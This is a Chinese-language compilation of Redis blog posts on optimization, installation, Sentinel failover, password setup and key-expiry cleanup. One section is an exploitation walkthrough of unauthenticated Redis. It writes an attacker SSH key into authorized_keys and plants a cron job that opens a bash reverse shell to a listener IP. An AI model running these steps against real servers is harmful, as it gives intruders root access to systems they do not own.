Redis优化建议

本片博客,刚开始会讲解一下redis的基本优化,然后会举一些优化示例代码或实例。最后讲解一下,默认启动redis时,所报的一些警示错误。

优化的一些建议

1、尽量使用短的key

当然在精简的同时,不要完了key的“见名知意”。对于value有些也可精简,比如性别使用0、1。

**2、避免使用keys ***

keys *, 这个命令是阻塞的,即操作执行期间,其它任何命令在你的实例中都无法执行。当redis中key数据量小时到无所谓,数据量大就很糟糕了。所以我们应该避免去使用这个命令。可以去使用SCAN,来代替。

3、在存到Redis之前先把你的数据压缩下

redis为每种数据类型都提供了两种内部编码方式,在不同的情况下redis会自动调整合适的编码方式。

4、设置 key 有效期

我们应该尽可能的利用key有效期。比如一些临时数据(短信校验码),过了有效期Redis就会自动为你清除!

5、选择回收策略(maxmemory-policy)

当 Redis 的实例空间被填满了之后,将会尝试回收一部分key。根据你的使用方式,强烈建议使用 volatile-lru(默认) 策略——前提是你对key已经设置了超时。但如果你运行的是一些类似于 cache 的东西,并且没有对 key 设置超时机制,可以考虑使用 allkeys-lru 回收机制,具体讲解查看 。maxmemory-samples 3 是说每次进行淘汰的时候 会随机抽取3个key 从里面淘汰最不经常使用的(默认选项)

maxmemory-policy 六种方式 :

  • volatile-lru:只对设置了过期时间的key进行LRU(默认值)
  • allkeys-lru : 是从所有key里 删除 不经常使用的key
  • volatile-random:随机删除即将过期key
  • allkeys-random:随机删除
  • volatile-ttl : 删除即将过期的
  • noeviction : 永不过期,返回错误

6、使用bit位级别操作和byte字节级别操作来减少不必要的内存使用。

  • bit位级别操作:GETRANGE, SETRANGE, GETBIT and SETBIT
  • byte字节级别操作:GETRANGE and SETRANGE

7、尽可能地使用hashes哈希存储。

8、当业务场景不需要数据持久化时,关闭所有的持久化方式可以获得最佳的性能。

9、想要一次添加多条数据的时候可以使用管道。

10、限制redis的内存大小(64位系统不限制内存,32位系统默认最多使用3GB内存)

数据量不可预估,并且内存也有限的话,尽量限制下redis使用的内存大小,这样可以避免redis使用swap分区或者出现OOM错误。(使用swap分区,性能较低,如果限制了内存,当到达指定内存之后就不能添加数据了,否则会报OOM错误。可以设置maxmemory-policy,内存不足时删除数据。)

11、SLOWLOG [get/reset/len]

  • slowlog-log-slower-than 它决定要对执行时间大于多少微秒(microsecond,1秒 = 1,000,000 微秒)的命令进行记录。
  • slowlog-max-len 它决定 slowlog 最多能保存多少条日志,当发现redis性能下降的时候可以查看下是哪些命令导致的。

优化实例分析

管道性能测试

redis的管道功能在命令行中没有,但是redis是支持管道的,在java的客户端(jedis)中是可以使用的:

未分类

示例代码

    //注:具体耗时,和自身电脑有关(博主是在虚拟机中运行的数据)
    /**
     * 不使用管道初始化1W条数据
     * 耗时:3079毫秒
     * @throws Exception
     */
    @Test
    public void NOTUsePipeline() throws Exception {
        Jedis jedis = JedisUtil.getJedis();
        long start_time = System.currentTimeMillis();
        for (int i = 0; i < 10000; i++) {
            jedis.set("aa_"+i, i+"");
        }
        System.out.println(System.currentTimeMillis()-start_time);
    }

    /**
     * 使用管道初始化1W条数据
     * 耗时:255毫秒
     * @throws Exception
     */
    @Test
    public void usePipeline() throws Exception {
        Jedis jedis = JedisUtil.getJedis();

        long start_time = System.currentTimeMillis();
        Pipeline pipelined = jedis.pipelined();
        for (int i = 0; i < 10000; i++) {
            pipelined.set("cc_"+i, i+"");
        }
        pipelined.sync();//执行管道中的命令
        System.out.println(System.currentTimeMillis()-start_time);
    }

hash的应用

示例:我们要存储一个用户信息对象数据,包含以下信息:
key为用户ID,value为用户对象(姓名,年龄,生日等)如果用普通的key/value结构来存储,主要有以下2种存储方式:

  • 将用户ID作为查找key,把其他信息封装成一个对象以序列化的方式存储
    缺点:增加了序列化/反序列化的开销,引入复杂适应系统(Complex adaptive system,简称CAS)修改其中一项信息时,需要把整个对象取回,并且修改操作需要对并发进行保护。

未分类

  • 用户信息对象有多少成员就存成多少个key-value对
    虽然省去了序列化开销和并发问题,但是用户ID为重复存储。

未分类

  • Redis提供的Hash很好的解决了这个问题,提供了直接存取这个Map成员的接口。Key仍然是用户ID, value是一个Map,这个Map的key是成员的属性名,value是属性值。( 内部实现:Redis Hashd的Value内部有2种不同实现,Hash的成员比较少时Redis为了节省内存会采用类似一维数组的方式来紧凑存储,而不会采用真正的HashMap结构,对应的value redisObject的encoding为zipmap,当成员数量增大时会自动转成真正的HashMap,此时encoding为ht )。

未分类

Instagram内存优化

Instagram可能大家都已熟悉,当前火热的拍照App,月活跃用户3亿。四年前Instagram所存图片3亿多时需要解决一个问题:想知道每一张照片的作者是谁(通过图片ID反查用户UID),并且要求查询速度要相当的块,如果把它放到内存中使用String结构做key-value:

HSET "mediabucket:1155" "1155315" "939"
HGET "mediabucket:1155" "1155315"
"939"

测试:1百万数据会用掉70MB内存,3亿张照片就会用掉21GB的内存。当时(四年前)最好是一台EC2的 high-memory 机型就能存储(17GB或者34GB的,68GB的太浪费了),想把它放到16G机型中还是不行的。

Instagram的开发者向Redis的开发者之一Pieter Noordhuis询问优化方案,得到的回复是使用Hash结构。具体的做法就是将数据分段,每一段使用一个Hash结构存储.

由于Hash结构会在单个Hash元素在不足一定数量时进行压缩存储,所以可以大量节约内存。这一点在上面的String结构里是不存在的。而这个一定数量是由配置文件中的hash-zipmap-max-entries参数来控制的。经过实验,将hash-zipmap-max-entries设置为1000时,性能比较好,超过1000后HSET命令就会导致CPU消耗变得非常大。

HSET "mediabucket:1155" "1155315" "939"
HGET "mediabucket:1155" "1155315"
"939"

测试:1百万消耗16MB的内存。总内存使用也降到了5GB。当然我们还可以优化,去掉mediabucket:key长度减少了12个字节。

HSET "1155" "315" "939"
HGET "1155" "315"
"939"

启动时WARNING优化

在我们启动redis时,默认会出现如下三个警告:

未分类

  • 一、修改linux中TCP监听的最大容纳数量
WARNING: The TCP backlog setting of 511 cannot be enforced because 
/proc/sys/net/core/somaxconn is set to the lower value of 128.

在高并发环境下你需要一个高backlog值来避免慢客户端连接问题。注意Linux内核默默地将这个值减小到/proc/sys/net/core/somaxconn的值,所以需要确认增大somaxconn和tcp_max_syn_backlog两个值来达到想要的效果。

echo 511 > /proc/sys/net/core/somaxconn

注意:这个参数并不是限制redis的最大链接数。如果想限制redis的最大连接数需要修改maxclients,默认最大连接数为10000

  • 二、修改linux内核内存分配策略
错误日志:WARNING overcommit_memory is set to 0! Background save may fail under low memory condition. 
To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or 
run the command 'sysctl vm.overcommit_memory=1'

原因:
redis在备份数据的时候,会fork出一个子进程,理论上child进程所占用的内存和parent是一样的,比如parent占用的内存为8G,这个时候也要同样分配8G的内存给child,如果内存无法负担,往往会造成redis服务器的down机或者IO负载过高,效率下降。所以内存分配策略应该设置为 1(表示内核允许分配所有的物理内存,而不管当前的内存状态如何)。

内存分配策略有三种

可选值:0、1、2。

  • 0, 表示内核将检查是否有足够的可用内存供应用进程使用;如果有足够的可用内存,内存申请允许;否则,内存申请失败,并把错误返回给应用进程。
  • 1, 不管需要多少内存,都允许申请。
  • 2, 只允许分配物理内存和交换内存的大小(交换内存一般是物理内存的一半)。

  • 三、关闭Transparent Huge Pages(THP)

THP会造成内存锁影响redis性能,建议关闭

Transparent HugePages :用来提高内存管理的性能
Transparent Huge Pages在32位的RHEL 6中是不支持的
执行命令 echo never > /sys/kernel/mm/transparent_hugepage/enabled
把这条命令添加到这个文件中/etc/rc.local

Redis消息队列在后台数据导入、统计中的应用

繁琐的等待

虽然后台管理功能是给客户使用,而且客户也从来没有向我们反映过这块的问题,但是作为一名软件工程师,是有信仰的,不仅是为了软件的功能完整性,还为了更高质量的用户体验。然而这些都是虚的,真正的原因是我们每个人都兼职测试,每次都要在导入数据后进行长时间无聊地等待结果返回。

功能由以下几点组成:

  • 用户在后台上传.xml文件
  • 程序解析.xml文件
  • 将解析后的数据插入数据库表
  • 根据业务合并新旧数据
  • 统计数据

这样繁琐的步骤都在结果之间完成,漫长而无聊的等待正逐渐地榨干我对开发的激情。为了能给自己的信仰一个交代,我决定重构!声明:重构是不算工时和加班的,充其量能利用公司的场地、网络和电灯。

  

Redis 消息队列

鉴于项目中已经使用了 Redis 缓存,为了维护简单,不引入新技术,我采用了 Redis 发布订阅者模式实现消息队列。不涉及分布式,也不涉及优先级,按顺序将消息压入 List,这些消息被不同的服务异步取出并执行相应的处理。

在用户上传.xml文件后,前台页面便返回类似“上传成功”的状态,同时,后台程序将其他处理封装成消息顺序插入List中,直至所有的消息都被异步取走并处理完成。

相比开始的“一条龙服务”,消息队列的应用使得各个任务可以异步完成,节省了时间,改善了用户体验。

centos 7安装redis及php-redis扩展

首先,下载安装redis服务端+客户端

下载,解压,编译:

$ wget http://download.redis.io/releases/redis-3.2.9.tar.gz
$ tar xzf redis-3.2.9.tar.gz
$ cd redis-3.2.9$ make

#二进制文件是编译完成后在src目录下,通过下面的命令启动Redis服务:

$ src/redis-server
#你可以使用内置的客户端命令redis-cli进行使用:

$ src/redis-cli
    redis> set foo bar
    OK
redis> get foo"bar"

下载安装php-redis扩展: 地址:https://github.com/phpredis/phpredis/

$ wget http://pecl.php.net/get/redis-3.1.2.tgz
$ tar xzf redis-3.1.2.tgz 
$ cd redis-3.1.2/
$ phpize
$ ./configure --with-php-config=/usr/local/php/bin/php-config
#这里的php-config路径 根据自己实际情况而定
$  make && make install

#出现
#Installing shared extensions:/usr/local/php/lib/php/extensions/no-debug-non-zts-20131226/
#即为安装成功。
#打开php.in文件,并添加 extension=redis.so,保存退出即可
$ vim /usr/local/php/etc/php.ini
  #文件末尾添加 extension=redis.so
  #保存退出,

重启php+nginx服务,phpinfo中将会出现redis扩展信息

测试:

启动redis服务,

$ cd redis-3.1.2
$ src/redis-server

编辑test.php测试文件

<?php
$redis = new Redis();

$redis->connect('127.0.0.1', 6379);

$redis->set("name", "nango");
echo $redis->get('name');
?>

使用Sentinel配置Redis 3.x主从高可用服务

Redis-Sentinel是Redis官方推荐的高可用性(HA)解决方案,当用Redis做Master-slave的高可用方案时,假如master宕机了,Redis本身(包括它的很多客户端)都没有实现自动进行主备切换,而Redis-sentinel本身也是一个独立运行的进程,它能监控多个master-slave集群,发现master宕机后能进行自动切换。

它的主要功能有以下几点

  • 不时地监控redis是否按照预期良好地运行;
  • 如果发现某个redis节点运行出现状况,能够通知另外一个进程(例如它的客户端);
  • 能够进行自动切换。当一个master节点不可用时,能够选举出master的多个slave(如果有超过一个slave的话)中的一个来作为新的master,其它的slave节点会将它所追随的master的地址改为被提升为master的slave的新地址

1. 集群规划

172.16.1.42 6379 Master

172.16.1.43 6379 Slave1

172.16.1.43 6380 Slave2

2. 集群配置

2.1 安装reids

# yum install gcc gcc-c++ tcl
# cd /opt/redis/
# tar xvf redis-3.2.8.tar.gz
# cd redis-3.2.8
# make install
# make test
# cd utils/

# 初始化数据
# ./install_server.sh

2.2 配置并启动redis

Master:

# vim master.conf
port 6379
bind 0.0.0.0
masterauth 123456
requirepass 123456
slave-read-only yes

#启动
# redis-server /etc/redis/master.conf

Slave1:

# vim slave1.conf
port 6379
bind 0.0.0.0
slaveof 172.16.1.42 6379
masterauth 123456
requirepass 123456
slave-read-only yes
protected-mode no

# 启动
# redis-server slave1.conf

Slave2:

# vim slave2.conf
port 6379
bind 0.0.0.0
slaveof 172.16.1.42 6379
masterauth 123456
requirepass 123456
slave-read-only yes
protected-mode no

# 启动
# redis-server slave2.conf

3. 验证主从复制

Master:

[root@localhost redis]# redis-cli -a 123456 -p 6379
127.0.0.1:6379> set name1 zhangsan
OK

Slave1:

[root@localhost ~]# redis-cli -p 6379
127.0.0.1:6379> auth 123456
OK
127.0.0.1:6379> get name1
"zhangsan"

Slave2:

[root@localhost ~]# redis-cli -a 123456 -p 6380
127.0.0.1:6380> get name1
"zhangsan"

4. 主从切换(Redis Sentinel)

Redis Sentinel

Sentinel(哨兵)是用于监控redis集群中Master状态的工具

4.1 Sentinel作用

  • Master状态检测
  • 如果Master异常,则会进行Master-Slave切换,将其中一个Slave作为Master,将之前的Master作为Slave
  • Master-Slave切换后,master_redis.conf、slave_redis.conf和sentinel.conf的内容都会发生改变,即master_redis.conf中会多一行slaveof的配置,sentinel.conf的监控目标会随之调换

4.2 Sentinel工作方式:

  • 每个Sentinel以每秒钟一次的频率向它所知的Master,Slave以及其他 Sentinel 实例发送一个 PING 命令

  • 如果一个实例(instance)距离最后一次有效回复 PING 命令的时间超过 down-after-milliseconds 选项所指定的值, 则这个实例会被 Sentinel 标记为主观下线。

  • 如果一个Master被标记为主观下线,则正在监视这个Master的所有 Sentinel 要以每秒一次的频率确认Master的确进入了主观下线状态。

  • 当有足够数量的 Sentinel(大于等于配置文件指定的值)在指定的时间范围内确认Master的确进入了主观下线状态, 则Master会被标记为客观下线

  • 在一般情况下, 每个 Sentinel 会以每 10 秒一次的频率向它已知的所有Master,Slave发送 INFO 命令

  • 当Master被 Sentinel 标记为客观下线时,Sentinel 向下线的 Master 的所有 Slave 发送 INFO 命令的频率会从 10 秒一次改为每秒一次

  • 若没有足够数量的 Sentinel 同意 Master 已经下线, Master 的客观下线状态就会被移除。

  • 若 Master 重新向 Sentinel 的 PING 命令返回有效回复, Master 的主观下线状态就会被移除。

主观下线和客观下线

  • 主观下线:Subjectively Down,简称 SDOWN,指的是当前 Sentinel 实例对某个redis服务器做出的下线判断。

  • 客观下线:Objectively Down, 简称 ODOWN,指的是多个 Sentinel 实例在对Master Server做出 SDOWN 判断,并且通过 SENTINEL is-master-down-by-addr 命令互相交流之后,得出的Master Server下线判断,然后开启failover.

  • SDOWN适合于Master和Slave,只要一个 Sentinel 发现Master进入了ODOWN, 这个 Sentinel 就可能会被其他 Sentinel 推选出, 并对下线的主服务器执行自动故障迁移操作。

  • ODOWN只适用于Master,对于Slave的 Redis 实例,Sentinel 在将它们判断为下线前不需要进行协商, 所以Slave的 Sentinel 永远不会达到ODOWN。

4.3 配置

1:指定监听Master(三个节点)

所有节点都需要运行,所有节点配置一样,且必须启动

# vim /etc/redis/sentinel.conf(可以从安装包里面找到这个文件)
protected-mode no
logfile "/mejust/logs/sentinel.log"
port 26379
dir "/tmp"
sentinel monitor mymaster 172.16.1.42 6379 2
sentinel down-after-milliseconds mymaster 5000
sentinel failover-timeout mymaster 60000
sentinel auth-pass mymaster !@#123mejust.com

上面配置文件说明如下:

  • 第二行指定sentinel端口号

  • 第五行指定Sentinel去监视一个名为 mymaster 的Master,Master的IP地址为172.16.1.42,端口号为6379,最后的2表示当有2个Sentinel检测到Master异常时才会判定其失效,即只有当2个Sentinel都判定Master失效了才会自动迁移,如果Sentinel的数量不达标,则不会执行自动故障迁移。

  • 第六行指定Sentinel判定Master断线的时间。(单位为毫秒,判定为主观下线SDOWN)

  • 第七行指定在执行故障转移时,最多可以有多少个Slave同时对新的Master进行同步。这个数字设置为1,虽然完成故障转移所需的时间会变长,但是可以保证每次只有1个Slave处于不能处理命令请求的状态

2:启动sentinel(三个节点):

# redis-sentinel /etc/redis/sentinel.conf

3:设置开机启动(三个节点)

# echo “/opt/redis/src/redis-sentinel /main/redis/sentinel.conf” >> /etc/rc.local

4.4 注意点

  • 首次启动时,必须先启动Master

  • Sentinel 只在 server 端做主从切换,app端要自己开发(例如Jedis库的SentinelJedis,能够监控Sentinel的状态)

  • 若Master已经被判定为下线,Sentinel已经选择了新的Master,也已经将old Master改成Slave,但是还没有将其改成new Master。若此时重启old Master,则Redis集群将处于无Master状态,此时只能手动修改配置文件,然后重新启动集群

5. 集群状态

返回结构是PONG,则表示服务运行正常

127.0.0.1:6379> ping
PONG
127.0.0.1:6379> info Replication

查看sentine状态

[root@localhost log]# redis-cli -p 26379
127.0.0.1:26379> info

主从切换:

127.0.0.1:26379> slaveof NO ONE

Redis未授权访问漏洞说明及利用

0x00 漏洞描述

Redis在默认情况会将服务绑定在0.0.0.0:6379上,从而将服务暴露在公网环境下,如果在没有开启安全认证的情况下,可以导致任意用户未授权访问Redis服务器并Redis进行读写操作。攻击者在未授权访问Redis服务器时可以通过上传公钥的方法将自己的公钥上传到Redis服务器上,达到免密登陆的效果。

0x01 环境搭建

首先选取Redis数据库版本为 redis-2.6.13 (高版本redis未授权访问漏洞已经被修复),编译安装。

编译安装步骤是:

tar zxf redis-2.6.13.tar.gz

cd redis-2.6.13

make

make指令成功执行完毕之后,redis数据库就已经部署好了,如果我们要启动redis数据库的话: srcredis-server,如果是启动redis的连接工具的话,需要执行 srcredis-cli 。

0x02 漏洞利用方法

1. 利用ssh免密登陆方法获得shell

如果是想要使用ssh免密登陆方法来获得shell的情况下,首先Redis服务器的root用户目录下需要有.ssh文件,再就是配置文件中的 PermitRootLogin 的值需要改为 yes 。

如果上述两项都符合要求我们就可以一步一步的向下进行了。

(1) 生成公-私密钥对

使用ssh-keygen命令之后一路回车即可。

(2) 利用Redis未授权访问漏洞

192.168.63.130:6379> config set dir /root/.ssh/
OK
192.168.63.130:6379> config set dbfilename authorized_keys
OK
192.168.63.130:6379> set x "nnnssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKfxu58CbSzYFgd4BOjUyNSpbgpkzBHrEwH2/XD7rvaLFUzBIsciw9QoMS2ZPCbjO0IZL50Rro1478kguUuvQrv/RE/eHYgoav/k6OeyFtNQE4LYy5lezmOFKviUGgWtUrra407cGLgeorsAykL+lLExfaaG/d4TwrIj1sRz4/GeiWG6BZ8uQND9G+Vqbx/+zi3tRAz2PWBb45UXATQPvglwaNpGXVpI0dxV3j+kiaFyqjHAv541b/ElEdiaSadPjuW6iNGCRaTLHsQNToDgu92oAE2MLaEmOWuQz1gi90o6W1WfZfzmS8OJHX/GJBXAMgEgJhXRy2eRhSpbxaIVgx root@kalinnn"
OK
192.168.63.130:6379> save
OK

(3)登陆

但上述步骤都做完之后,我们就可以通过 ssh 命令连接到redis的服务器上了。

2. 利用linux定时任务反射shell

定时任务反射shell主要是利用了linux系统的cron定时任务,通过向 /var/spool/cron/root中写入定时任务,来反弹shell。

处理流程:

CONFIG SET dir /var/spool/cron

CONFIG SET dbfilename root

set x "nn* * * * * /bin/bash -i >& /dev/tcp/192.168.199.230/5555 0>&1nn"

save

之后在本地主机上开放5555端口,侦听反弹的shell。

nc -lnvp 5555

redis的密码设置及开放外网访问

配置外网访问

修改配置文件

bind 0.0.0.0

设置密码

requirepass password

设置进程

daemonize yes

修改默认端口

port 6379

开启redis进程

redis-server /etc/redis.conf

开机启动

#vim /etc/init.d/redis-server
#! /bin/sh
### BEGIN INIT INFO
# Provides:        redis-server
# Required-Start:    $syslog
# Required-Stop:    $syslog
# Should-Start:        $local_fs
# Should-Stop:        $local_fs
# Default-Start:    2 3 4 5
# Default-Stop:        0 1 6
# Short-Description:    redis-server - Persistent key-value db
# Description:        redis-server - Persistent key-value db
### END INIT INFO


PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
DAEMON=/usr/local/bin/redis-server
DAEMON_ARGS=/etc/redis.conf
NAME=redis-server
DESC=redis-server
PIDFILE=/var/run/redis.pid

test -x $DAEMON || exit 0
test -x $DAEMONBOOTSTRAP || exit 0

set -e

case "$1" in
  start)
    echo -n "Starting $DESC: "
    touch $PIDFILE
    chown redis:redis $PIDFILE
    if start-stop-daemon --start --quiet --umask 007 --pidfile $PIDFILE --chuid redis:redis --exec $DAEMON --background -- $DAEMON_ARGS
    then
        echo "$NAME."
    else
        echo "failed"
    fi
    ;;
  stop)
    echo -n "Stopping $DESC: "
    if start-stop-daemon --stop --retry 10 --quiet --oknodo --pidfile $PIDFILE --exec $DAEMON
    then
        echo "$NAME."
    else
        echo "failed"
    fi
    rm -f $PIDFILE
    ;;

  restart|force-reload)
    ${0} stop
    ${0} start
    ;;
  *)
    echo "Usage: /etc/init.d/$NAME {start|stop|restart|force-reload}" >&2
    exit 1
    ;;
esac

exit 0

赋予权限

chmod +x /etc/init.d/redis-server

设置开机启动

update-rc.d redis-server defaults

连接

redis-cli  -h 10.0.6.60 -p 6379 -a password

或者

➜  ~ redis-cli -h 10.0.6.60 -p 6379
10.0.6.60:6379> AUTH password
OK
10.0.6.60:6379> ping
PONG
10.0.6.60:6379>

配置Redis使用认证密码登录

Redis默认配置是不需要密码认证的,也就是说只要连接的Redis服务器的host和port正确,就可以连接使用。这在安全性上会有一定的问题,所以需要启用Redis的认证密码,增加Redis服务器的安全性。

1. 修改配置文件

Redis的配置文件默认在/etc/redis.conf,找到如下行:

#requirepass foobared

去掉前面的注释,并修改为所需要的密码:

requirepass myPassword (其中myPassword就是要设置的密码)

2. 重启Redis

如果Redis已经配置为service服务,可以通过以下方式重启:

service redis restart

如果Redis没有配置为service服务,可以通过以下方式重启:

/usr/local/bin/redis-cli shutdown  /usr/local/bin/redis-server /etc/redis.conf

3. 登录验证

设置Redis认证密码后,客户端登录时需要使用-a参数输入认证密码,不添加该参数虽然也可以登录成功,但是没有任何操作权限。如下:

$ ./redis-cli -h 127.0.0.1 -p 6379  127.0.0.1:6379> keys *  (error) NOAUTH Authentication required.

使用密码认证登录,并验证操作权限:

$ ./redis-cli -h 127.0.0.1 -p 6379 -a myPassword  127.0.0.1:6379> config get requirepass  1) "requirepass"  2) "myPassword"

看到类似上面的输出,说明Reids密码认证配置成功。

除了按上面的方式在登录时,使用-a参数输入登录密码外。也可以不指定,在连接后进行验证:

$ ./redis-cli -h 127.0.0.1 -p 6379  127.0.0.1:6379> auth myPassword  OK  127.0.0.1:6379> config get requirepass  1) "requirepass"  2) "myPassword"  127.0.0.1:6379> 

4. 在命令行客户端配置密码(redis重启前有效)

前面介绍了通过redis.conf配置密码,这种配置方式需要重新启动Redis。也可以通命令行客户端配置密码,这种配置方式不用重新启动Redis。配置方式如下:

127.0.0.1:6379> config set requirepass newPassword  OK  127.0.0.1:6379> config get requirepass  1) "requirepass"  2) "newPassword"

注意:使用命令行客户端配置密码,重启Redis后仍然会使用redis.conf配置文件中的密码。

5. 在Redis集群中使用认证密码

如果Redis服务器,使用了集群。除了在master中配置密码外,也需要在slave中进行相应配置。在slave的配置文件中找到如下行,去掉注释并修改与master相同的密码即可:

# masterauth master-password

以上就是本文的全部内容,希望对大家的学习有所帮助。

关于Redis的被动和主动的数据清理问题

我们数据平台中有使用Redis来给线上提供低延时(20毫秒以内)的高并发读写请求,其中最大的Redis使用了阿里云的Redis集群(256G),存储的记录超过10亿,Key的有效期设置为15天,每天写入的记录大概5000万左右,QPS大概在6万左右。由于过期Key的产生速度大于Redis自动清理的速度,因此在Redis中会有大量过期Key未被及时清理。

为什么有过期的Key未被清理呢?这个得先熟悉一下Redis的删除策略。

Redis常用的删除策略有以下三种:

  • 被动删除(惰性删除):当读/写一个已经过期的Key时,会触发惰性删除策略,直接删除掉这个Key;
  • 主动删除(定期删除):Redis会定期巡检,来清理过期Key;
  • 当内存达到maxmemory配置时候,会触发Key的删除操作;

另外,还有一种基于触发器的删除策略,因为对Redis压力太大,一般没人使用。

这里先介绍后两种删除策略(网上有很多说明)。

参考:http://www.cnblogs.com/chenpingzhao/p/5022467.html

主动删除(定期删除)

在 Redis 中,常规操作由 redis.c/serverCron 实现,它主要执行以下操作:

  • 更新服务器的各类统计信息,比如时间、内存占用、数据库占用情况等。
  • 清理数据库中的过期键值对。
  • 对不合理的数据库进行大小调整。
  • 关闭和清理连接失效的客户端。
  • 尝试进行 AOF 或 RDB 持久化操作。
  • 如果服务器是主节点的话,对附属节点进行定期同步。
  • 如果处于集群模式的话,对集群进行定期同步和连接测试。

Redis 将 serverCron 作为时间事件来运行,从而确保它每隔一段时间就会自动运行一次, 又因为 serverCron 需要在 Redis 服务器运行期间一直定期运行, 所以它是一个循环时间事件:serverCron 会一直定期执行,直到服务器关闭为止。

在 Redis 2.6 版本中, 程序规定 serverCron 每秒运行 10 次, 平均每 100 毫秒运行一次。 从 Redis 2.8 开始, 用户可以通过修改 hz选项来调整 serverCron 的每秒执行次数, 具体信息请参考 redis.conf 文件中关于 hz 选项的说明。

也叫定时删除,这里的“定期”指的是Redis定期触发的清理策略,由位于src/redis.c的activeExpireCycle(void)函数来完成。

serverCron是由redis的事件框架驱动的定位任务,这个定时任务中会调用activeExpireCycle函数,针对每个db在限制的时间REDIS_EXPIRELOOKUPS_TIME_LIMIT内迟可能多的删除过期key,之所以要限制时间是为了防止过长时间 的阻塞影响redis的正常运行。这种主动删除策略弥补了被动删除策略在内存上的不友好。

因此,Redis会周期性的随机测试一批设置了过期时间的key并进行处理。测试到的已过期的key将被删除。典型的方式为,Redis每秒做10次如下的步骤:

  • 随机测试100个设置了过期时间的key
  • 删除所有发现的已过期的key
  • 若删除的key超过25个则重复步骤1

这是一个基于概率的简单算法,基本的假设是抽出的样本能够代表整个key空间,redis持续清理过期的数据直至将要过期的key的百分比降到了25%以下。这也意味着在任何给定的时刻已经过期但仍占据着内存空间的key的量最多为每秒的写操作量除以4.

Redis-3.0.0中的默认值是10,代表每秒钟调用10次后台任务。

除了主动淘汰的频率外,Redis对每次淘汰任务执行的最大时长也有一个限定,这样保证了每次主动淘汰不会过多阻塞应用请求,以下是这个限定计算公式:

#define ACTIVE_EXPIRE_CYCLE_SLOW_TIME_PERC 25 /* CPU max % for keys collection */

…

timelimit = 1000000*ACTIVE_EXPIRE_CYCLE_SLOW_TIME_PERC/server.hz/100;

hz调大将会提高Redis主动淘汰的频率,如果你的Redis存储中包含很多冷数据占用内存过大的话,可以考虑将这个值调大,但Redis作者建议这个值不要超过100。我们实际线上将这个值调大到100,观察到CPU会增加2%左右,但对冷数据的内存释放速度确实有明显的提高(通过观察keyspace个数和used_memory大小)。

可以看出timelimit和server.hz是一个倒数的关系,也就是说hz配置越大,timelimit就越小。换句话说是每秒钟期望的主动淘汰频率越高,则每次淘汰最长占用时间就越短。这里每秒钟的最长淘汰占用时间是固定的250ms(1000000*ACTIVE_EXPIRE_CYCLE_SLOW_TIME_PERC/100),而淘汰频率和每次淘汰的最长时间是通过hz参数控制的。

从以上的分析看,当redis中的过期key比率没有超过25%之前,提高hz可以明显提高扫描key的最小个数。假设hz为10,则一秒内最少扫描200个key(一秒调用10次*每次最少随机取出20个key),如果hz改为100,则一秒内最少扫描2000个key;另一方面,如果过期key比率超过25%,则扫描key的个数无上限,但是cpu时间每秒钟最多占用250ms。

当REDIS运行在主从模式时,只有主结点才会执行上述这两种过期删除策略,然后把删除操作”del key”同步到从结点。

maxmemory

当前已用内存超过maxmemory限定时,触发主动清理策略,这些策略可以配置(参数maxmemory-policy),包括以下几个:

  • volatile-lru:从已设置过期时间的数据集(server.db[i].expires)中挑选最近最少使用的数据淘汰

  • volatile-ttl:从已设置过期时间的数据集(server.db[i].expires)中挑选将要过期的数据淘汰

  • volatile-random:从已设置过期时间的数据集(server.db[i].expires)中任意选择数据淘汰

  • allkeys-lru:从数据集(server.db[i].dict)中挑选最近最少使用的数据淘汰

  • allkeys-random:从数据集(server.db[i].dict)中任意选择数据淘汰

  • no-enviction(驱逐):禁止驱逐数据

当mem_used内存已经超过maxmemory的设定,对于所有的读写请求,都会触发redis.c/freeMemoryIfNeeded(void)函数以清理超出的内存。注意这个清理过程是阻塞的,直到清理出足够的内存空间。所以如果在达到maxmemory并且调用方还在不断写入的情况下,可能会反复触发主动清理策略,导致请求会有一定的延迟。

清理时会根据用户配置的maxmemory-policy来做适当的清理(一般是LRU或TTL),这里的LRU或TTL策略并不是针对redis的所有key,而是以配置文件中的maxmemory-samples个key作为样本池进行抽样清理。

总结与备忘

如果Redis中每天过期大量Key(比如几千万),那么必须得考虑过期Key的清理:

  • 增加Redis主动清理的频率(通过调大hz参数);

  • 手动清理过期Key,最简单的方法是进行scan操作,scan操作会触发第一种被动删除,scan操作时候别忘了加count;

  • dbsize命令返回的Key数量,包含了过期Key;

  • randomkey命令返回的Key,不包含过期Key;

  • scan命令返回的Key,包含过期Key;

  • info命令返回的# Keyspace:

  • db6:keys=1034937352,expires=994731489,avg_ttl=507838502

  • keys对应的Key数量等同于dbsize;

  • expires指的是设置了过期时间的Key数量;

  • avg_ttl指设置了过期时间的Key的平均过期时间(单位:毫秒);

Redis缓存数据提高访问性能并同步到mysql永久保存

Redis 是一个高性能的key-value数据库。 redis的出现,很大程度上补偿了memcached这类key-value存储的不足,在部分场合可以对关系数据库起到很好的补充作用。它提供了Python,Ruby,Erlang,PHP客户端,使用很方便。由于游戏服务器数据更新频繁,如果每次读写数据会造成读写数据库的压力大,效率低。

redis的使用场景:

首先,程序先去redis中判断数据是否存在:如果存在,则直接返回缓存好的数据。如果不存在的话,就会去数据库中,读取数据,并把数据缓存到Redis中。

适用场合:如果数据量比较大,但不是经常更新的情况(比如用户排行)。
redis的流程图如下:

未分类

首先先去redis中判断数据是否存在:

  • 如果存在,则直接更新对应的数据,并把更新后的数据返回给页面。
  • 如果不存在的话,就会去先更新数据库中内容,然后把数据保存一份到Redis中。

后台会有Linux的contrab定时任务机制把Redis中的save_update_keys存储的key,分别读取出来,找到对应的数据,更新到DB中。

优点:这个流程的主要目的是把Redis当作数据库使用,更新获取数据比DB快。非常适合大数据量的频繁变动(比如用户游戏数据)。

缺点:对Redis的依赖很大,要做好宕机时的数据保存。(不过可以使用redis的快照AOF,快速恢复的话,应该不会有多大影响,因为就算Redis不工作了,也不会影响后续数据的处理。)

难点:在前期规划key的格式,存储类型很重要,因为这会影响能否把数据同步到DB。

其中第二种方式是游戏服务器中经常使用的方式,例如将用户的游戏数据以hashset的形式存储到redis中,实时更新效率比访问数据库的效率高。根据定时任务将更新的数据存入数据库中,做到永久保存。

wordpress开启Redis扩展教程

本教程中使用到的是宝塔面板(宝塔面板,小白建站的不二之选)Wordpress站点如果时间久了,流量大了,文章多了,前台后台都会变得龟速!

